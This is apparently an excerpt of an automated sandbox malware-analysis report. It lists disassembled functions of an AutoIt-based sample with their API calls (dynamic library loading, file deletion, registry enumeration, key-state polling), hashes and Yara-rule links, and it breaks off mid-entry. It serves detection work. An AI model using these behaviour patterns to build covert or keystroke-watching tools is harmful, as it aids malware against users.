DllGetClassObject, xrefs: 00F97242

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: c25a12262ec1d93283289550d1a49275569e08ecbbe2edb180d77107b3c7426e
Instruction ID: 4665484bdf1e05574b8ed9f8ddc36e3201d0f12831aaae9a7737fbd19665e359
Opcode Fuzzy Hash: c25a12262ec1d93283289550d1a49275569e08ecbbe2edb180d77107b3c7426e
Instruction Fuzzy Hash: C4418D71A24304EFEF15DF54C885B9A7BA9EF44710F2480A9BD099F24AD7B0D944EFA0

Function 00FC3D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FC3E35
IsMenu.USER32(?), ref: 00FC3E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00FC3E92
DrawMenuBar.USER32 ref: 00FC3EA5

Strings

0, xrefs: 00FC3D89

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 05cf3527c98872804c4296126f5d708a012feff35e43a020f6f12784f058ea2f
Instruction ID: 65ad72ca42df5c3d2570dcd54e174e692ee7b4189882b3e354946ebd2cd6a204
Opcode Fuzzy Hash: 05cf3527c98872804c4296126f5d708a012feff35e43a020f6f12784f058ea2f
Instruction Fuzzy Hash: 63414A75A0020AAFDB10DF50D985EAABBB5FF493A4F04812DF90597250D734EE49EFA0

Function 00F91DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F93CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00F93CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00F91E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00F91E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00F91EA9

Part of subcall function 00F36B57: _wcslen.LIBCMT ref: 00F36B6A

Strings

ComboBox, xrefs: 00F91DF0
ListBox, xrefs: 00F91E25

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 57a8729a579590c77f82801e96f3495a4c6428e5048212113ae3a8f36a364e62
Instruction ID: 681a47ab4e912ac555ece12a0ece61b1a8561f213f8148c9a79e6d1e87b69cf1
Opcode Fuzzy Hash: 57a8729a579590c77f82801e96f3495a4c6428e5048212113ae3a8f36a364e62
Instruction Fuzzy Hash: 4C213B75A00109BFEF14AB64DD46CFFB7B8EF45360F104129F919A71E1DB785909B620

Function 00F54D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00F54D1E,00F628E9,?,00F54CBE,00F628E9,00FF88B8,0000000C,00F54E15,00F628E9,00000002), ref: 00F54D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F54DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00F54D1E,00F628E9,?,00F54CBE,00F628E9,00FF88B8,0000000C,00F54E15,00F628E9,00000002,00000000), ref: 00F54DC3

Strings

mscoree.dll, xrefs: 00F54D86
CorExitProcess, xrefs: 00F54D98

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e51c13866f658861d9d2873d5f43be678a4299c399d35df78ead9835ba72d9f5
Instruction ID: 12350ae1fd9e3c98157d1d052510587eafdf9d2dd3ca097311f0c99613e7c113
Opcode Fuzzy Hash: e51c13866f658861d9d2873d5f43be678a4299c399d35df78ead9835ba72d9f5
Instruction Fuzzy Hash: 7BF0813090020CABDB109B90DD0AFADBBB5EF04716F040155ED09A3250CF349984EAD1

Function 00F34E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00F34EDD,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00F34EAE
FreeLibrary.KERNEL32(00000000,?,?,00F34EDD,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34EC0

Strings

kernel32.dll, xrefs: 00F34E94
Wow64DisableWow64FsRedirection, xrefs: 00F34EA8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 09484a0c0c73b445ebc1331bc67daf69b3493894139f3d7dc65df07184c2418c
Instruction ID: b215839a817e5f5c46ce1eb0e0df179e8000a55ac2bb1b41372e909a1b840b8f
Opcode Fuzzy Hash: 09484a0c0c73b445ebc1331bc67daf69b3493894139f3d7dc65df07184c2418c
Instruction Fuzzy Hash: 98E08635E015225BD22117266C1AF6B7554AFC1B72B0D0115FD08D3120DB60ED4260E1

Function 00F34E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00F73CDE,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00F34E74
FreeLibrary.KERNEL32(00000000,?,?,00F73CDE,?,01001418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00F34E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00F34E6E
kernel32.dll, xrefs: 00F34E5B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: f45ff7c2d87c046ac400204faae754e08b896d94e639111b7c70538ed378b6ae
Instruction ID: 8728d81927d4be91d1e1972a42dc781d1ec228600e57f7cdcfc1caa6b9e10817
Opcode Fuzzy Hash: f45ff7c2d87c046ac400204faae754e08b896d94e639111b7c70538ed378b6ae
Instruction Fuzzy Hash: C0D0C232D026225786221B26AC0AE8B3A18AF81F3530D0115F908A3114CF20ED42B1D0

Function 00FA2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FA2C05
DeleteFileW.KERNEL32(?), ref: 00FA2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00FA2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FA2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00FA2CC0

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 7474601e5ab3923da9d24e6f3b0266c128cbdb686920ab4947f0449c9ab34584
Instruction ID: fe7839791b44103da15b4b153938eea9cc7893b71495bcd9b1093cebd4b19357
Opcode Fuzzy Hash: 7474601e5ab3923da9d24e6f3b0266c128cbdb686920ab4947f0449c9ab34584
Instruction Fuzzy Hash: AFB170B2E00119ABDF24DFA8CC85EDEB77DEF49350F0040A6FA09E7151EA349A449F61

Function 00FBA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00FBA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00FBA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00FBA468
CloseHandle.KERNEL32(?), ref: 00FBA63D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: ea486416fbdad2b46f374eec08bf5848d1542ae76db1c3ecec7ddd8fc44a0bae
Instruction ID: 44cda2fed4d5aa9d6418713f416045908ba8535090108cd479edfeb33c9e1bde
Opcode Fuzzy Hash: ea486416fbdad2b46f374eec08bf5848d1542ae76db1c3ecec7ddd8fc44a0bae
Instruction Fuzzy Hash: 4CA1A271604300AFD720DF25C886F2AB7E5AF44724F14881DFA9A9B392DB74EC419F92

Function 00F9E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F9DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00F9CF22,?), ref: 00F9DDFD

Part of subcall function 00F9DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00F9CF22,?), ref: 00F9DE16

Part of subcall function 00F9E199: GetFileAttributesW.KERNEL32(?,00F9CF95), ref: 00F9E19A

lstrcmpiW.KERNEL32(?,?), ref: 00F9E473
MoveFileW.KERNEL32(?,?), ref: 00F9E4AC
_wcslen.LIBCMT ref: 00F9E5EB
_wcslen.LIBCMT ref: 00F9E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00F9E650

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: ce8a98f9d61d7508ecd2e7261a222bde4605937f2eb7413e9f0ecb4a19a7a268
Instruction ID: 309144dd3c8ce6b9aa4ac0b8fab9c391aa56b027abedbcf6f232142fd57ce621
Opcode Fuzzy Hash: ce8a98f9d61d7508ecd2e7261a222bde4605937f2eb7413e9f0ecb4a19a7a268
Instruction Fuzzy Hash: 9D5192B24083459BDB24DBA4DC819DF73ECAF84350F00491EF689D3191EF79A588D766

Function 00FBB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00FBC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FBB6AE,?,?), ref: 00FBC9B5
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBC9F1
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA68
Part of subcall function 00FBC998: _wcslen.LIBCMT ref: 00FBCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FBBAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00FBBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00FBBB63
RegCloseKey.ADVAPI32(?,?), ref: 00FBBBA6
RegCloseKey.ADVAPI32(00000000), ref: 00FBBBB3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 8803b01100614447e3c23928a40a54c009a41ff2509bc314cc81f8a55ff01e59
Instruction ID: d34bfbb8ca028ca833a4bc876bb5b18a722eacdc8eb755b9afc87e43a2bf7cff
Opcode Fuzzy Hash: 8803b01100614447e3c23928a40a54c009a41ff2509bc314cc81f8a55ff01e59
Instruction Fuzzy Hash: D961C031608201AFC314DF15C891E6ABBE9FF84318F14855CF4998B2A2CB75ED45EF92

Function 00F98BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F98BCD
VariantClear.OLEAUT32 ref: 00F98C3E
VariantClear.OLEAUT32 ref: 00F98C9D
VariantClear.OLEAUT32(?), ref: 00F98D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00F98D3B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 291cb3f6aecedb64109d19e0e41055d8679fbc140f1cd58d27088411cf332c3c
Instruction ID: 632c99ed75b9ae2abd439d1b1f1db4e73cf0c7803dc2e67ab8c909231fbeac65
Opcode Fuzzy Hash: 291cb3f6aecedb64109d19e0e41055d8679fbc140f1cd58d27088411cf332c3c
Instruction Fuzzy Hash: AE515AB5A00219EFDB14CF68C894EAAB7F8FF89350B158559E909DB350E730E912CF90

Function 00FA8AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00FA8BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00FA8BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00FA8C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00FA8C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00FA8C5F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 528c682cb92966fc1f8c04d464238d3ea9ad09ee619c56622a15681ab772bbb8
Instruction ID: 4caab79c85e38ea0b0c85e20ee5f7ac28c0ef68540cbf162fd9db3403921b898
Opcode Fuzzy Hash: 528c682cb92966fc1f8c04d464238d3ea9ad09ee619c56622a15681ab772bbb8
Instruction Fuzzy Hash: 46515C75A002189FCB14DF65C881E69BBF5FF49364F088058E849AB362CB35ED51EFA0

Function 00FB8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00FB8F40
GetProcAddress.KERNEL32(00000000,?), ref: 00FB8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00FB8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00FB9032
FreeLibrary.KERNEL32(00000000), ref: 00FB9052

Part of subcall function 00F4F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00FA1043,?,753CE610), ref: 00F4F6E6
Part of subcall function 00F4F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00F8FA64,00000000,00000000,?,?,00FA1043,?,753CE610,?,00F8FA64), ref: 00F4F70D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 3d4fa56d8c05933ea2d8d3fca2d224b6fe95fa51da0125bfa52f429a7cfd8ec3
Instruction ID: 00bb09037e7ba97529a196c3ebb94a5494ebce70c968f45d73665df09d9dc711
Opcode Fuzzy Hash: 3d4fa56d8c05933ea2d8d3fca2d224b6fe95fa51da0125bfa52f429a7cfd8ec3
Instruction Fuzzy Hash: 27515C35A04205DFCB10EF65C4949ADBBB1FF49364F088098E9099B362DB75ED86EF90

Function 00FC6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00FC6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00FC6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00FC6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00FAAB79,00000000,00000000), ref: 00FC6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00FC6CC7

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 312eada402ed8e009ee223a034f6da86f9da9a4dc7c01ee9cb50a097e028ece0
Instruction ID: b1af642546ff78b5c768931054fd3d0dde7bff86df1ca3f81b2be8168dad400f
Opcode Fuzzy Hash: 312eada402ed8e009ee223a034f6da86f9da9a4dc7c01ee9cb50a097e028ece0
Instruction Fuzzy Hash: EC41D635A08105AFD724CF28CE56FA57BA5EB49361F15022CF899E73E1C371ED41EA90

Function 00F62051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00F620C3
_free.LIBCMT ref: 00F620E3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 8fc6d05bf3c004f0ac263b6d92f9ae5c5b69f05f0e4fd748d9b62e99f74c0aa8
Instruction ID: 1252ad06e9ae2c6491d5981706a9e4941cca49a26b06d9f260bf5a2816d51164
Opcode Fuzzy Hash: 8fc6d05bf3c004f0ac263b6d92f9ae5c5b69f05f0e4fd748d9b62e99f74c0aa8
Instruction Fuzzy Hash: A741D232E00604AFCB24DF78CD81A6DB7B5EF89724F154569EA15EB351DB31AD01EB80

Function 00F4912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00F49141
ScreenToClient.USER32(00000000,?), ref: 00F4915E
GetAsyncKeyState.USER32(00000001), ref: 00F49183
GetAsyncKeyState.USER32(00000002), ref: 00F4919D

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: c6dcd07f1e1abe0ab576f625aa98e7fb1a7a0f484a3a94a1f829852331aceb8c
Instruction ID: dd7ffb77db66b8080dd88197b2aca3585f64e64ebf479c2d68b8cb13329303fb
